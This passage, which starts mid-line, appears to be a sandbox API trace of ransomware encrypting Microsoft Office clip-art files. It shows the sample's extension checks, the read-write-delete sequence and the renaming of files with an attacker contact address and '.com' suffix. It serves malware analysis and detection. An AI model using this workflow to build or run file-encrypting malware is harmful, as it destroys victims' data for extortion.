lpString2="WMF") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.605] lstrlenW (lpString=".dbf") returned 4 [0297.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.606] lstrlenW (lpString=".1cd") returned 4 [0297.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.606] lstrlenW (lpString=".jpg") returned 4 [0297.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.606] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.606] lstrlenW (lpString="FD00086_.WMF") returned 12 [0297.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.607] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=29212) returned 1 [0297.607] CloseHandle (hObject=0x10bc) returned 1 [0297.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0297.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.607] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.607] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.608] GetLastError () returned 0x0 [0297.608] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x721c, lpOverlapped=0x0) returned 1 [0297.636] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x7220, lpOverlapped=0x0) returned 1 [0297.637] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.637] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.638] SetEndOfFile (hFile=0x10dc) returned 1 [0297.638] CloseHandle (hObject=0x10dc) returned 1 [0297.638] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.638] SetEndOfFile (hFile=0x10bc) returned 1 [0297.639] CloseHandle (hObject=0x10bc) returned 1 [0297.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0297.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.639] lstrlenW (lpString=".doc") returned 4 [0297.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.639] lstrlenW (lpString=".docx") returned 5 [0297.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.639] lstrlenW (lpString=".pdf") returned 4 [0297.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.639] lstrlenW (lpString=".xls") returned 4 [0297.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.639] lstrlenW (lpString=".xlsx") returned 5 [0297.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.639] lstrlenW (lpString=".ppt") returned 4 [0297.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.639] lstrlenW (lpString=".zip") returned 4 [0297.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.640] lstrlenW (lpString=".rar") returned 4 [0297.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".bz2") returned 4 [0297.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".7z") returned 3 [0297.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString=".dbf") returned 4 [0297.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString=".1cd") returned 4 [0297.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString=".jpg") returned 4 [0297.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString=".doc") returned 4 [0297.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".docx") returned 5 [0297.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.640] lstrlenW (lpString=".pdf") returned 4 [0297.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".xls") returned 4 [0297.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.640] lstrlenW (lpString=".xlsx") returned 5 [0297.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.640] lstrlenW (lpString=".ppt") returned 4 [0297.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.640] lstrlenW (lpString=".zip") returned 4 [0297.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.640] lstrlenW (lpString=".rar") returned 4 [0297.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".bz2") returned 4 [0297.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.640] lstrlenW (lpString=".7z") returned 3 [0297.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.641] lstrlenW (lpString=".dbf") returned 4 [0297.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.641] lstrlenW (lpString=".1cd") returned 4 [0297.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0297.641] lstrlenW (lpString=".jpg") returned 4 [0297.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.641] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.641] lstrlenW (lpString="FD00096_.WMF") returned 12 [0297.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.641] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=37390) returned 1 [0297.641] CloseHandle (hObject=0x10bc) returned 1 [0297.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0297.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.642] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.642] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.642] GetLastError () returned 0x0 [0297.642] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x920e, lpOverlapped=0x0) returned 1 [0297.721] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x9210, lpOverlapped=0x0) returned 1 [0297.722] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.722] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.722] SetEndOfFile (hFile=0x10dc) returned 1 [0297.722] CloseHandle (hObject=0x10dc) returned 1 [0297.722] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.722] SetEndOfFile (hFile=0x10bc) returned 1 [0297.723] CloseHandle (hObject=0x10bc) returned 1 [0297.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0297.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.724] lstrlenW (lpString=".doc") returned 4 [0297.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString=".docx") returned 5 [0297.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.724] lstrlenW (lpString=".pdf") returned 4 [0297.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString=".xls") returned 4 [0297.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.724] lstrlenW (lpString=".xlsx") returned 5 [0297.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.724] lstrlenW (lpString=".ppt") returned 4 [0297.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.724] lstrlenW (lpString=".zip") returned 4 [0297.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.724] lstrlenW (lpString=".rar") returned 4 [0297.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString=".bz2") returned 4 [0297.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString=".7z") returned 3 [0297.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.724] lstrlenW (lpString=".dbf") returned 4 [0297.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.724] lstrlenW (lpString=".1cd") returned 4 [0297.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString=".jpg") returned 4 [0297.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString=".doc") returned 4 [0297.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString=".docx") returned 5 [0297.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.725] lstrlenW (lpString=".pdf") returned 4 [0297.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString=".xls") returned 4 [0297.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.725] lstrlenW (lpString=".xlsx") returned 5 [0297.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.725] lstrlenW (lpString=".ppt") returned 4 [0297.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString=".zip") returned 4 [0297.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.725] lstrlenW (lpString=".rar") returned 4 [0297.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString=".bz2") returned 4 [0297.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString=".7z") returned 3 [0297.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString=".dbf") returned 4 [0297.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.725] lstrlenW (lpString=".1cd") returned 4 [0297.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0297.726] lstrlenW (lpString=".jpg") returned 4 [0297.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.726] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.726] lstrlenW (lpString="FD00336_.WMF") returned 12 [0297.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.726] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=6068) returned 1 [0297.726] CloseHandle (hObject=0x10bc) returned 1 [0297.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0297.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.727] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.727] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.727] GetLastError () returned 0x0 [0297.727] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0297.809] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0297.810] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.810] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.810] SetEndOfFile (hFile=0x10dc) returned 1 [0297.810] CloseHandle (hObject=0x10dc) returned 1 [0297.810] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.810] SetEndOfFile (hFile=0x10bc) returned 1 [0297.811] CloseHandle (hObject=0x10bc) returned 1 [0297.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0297.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.812] lstrlenW (lpString=".doc") returned 4 [0297.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.812] lstrlenW (lpString=".docx") returned 5 [0297.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.812] lstrlenW (lpString=".pdf") returned 4 [0297.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.812] lstrlenW (lpString=".xls") returned 4 [0297.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.812] lstrlenW (lpString=".xlsx") returned 5 [0297.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.812] lstrlenW (lpString=".ppt") returned 4 [0297.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.812] lstrlenW (lpString=".zip") returned 4 [0297.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.812] lstrlenW (lpString=".rar") returned 4 [0297.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.812] lstrlenW (lpString=".bz2") returned 4 [0297.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.812] lstrlenW (lpString=".7z") returned 3 [0297.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.812] lstrlenW (lpString=".dbf") returned 4 [0297.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString=".1cd") returned 4 [0297.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString=".jpg") returned 4 [0297.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString=".doc") returned 4 [0297.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString=".docx") returned 5 [0297.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.813] lstrlenW (lpString=".pdf") returned 4 [0297.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString=".xls") returned 4 [0297.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.813] lstrlenW (lpString=".xlsx") returned 5 [0297.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.813] lstrlenW (lpString=".ppt") returned 4 [0297.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString=".zip") returned 4 [0297.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.813] lstrlenW (lpString=".rar") returned 4 [0297.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString=".bz2") returned 4 [0297.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.813] lstrlenW (lpString=".7z") returned 3 [0297.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.813] lstrlenW (lpString=".dbf") returned 4 [0297.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 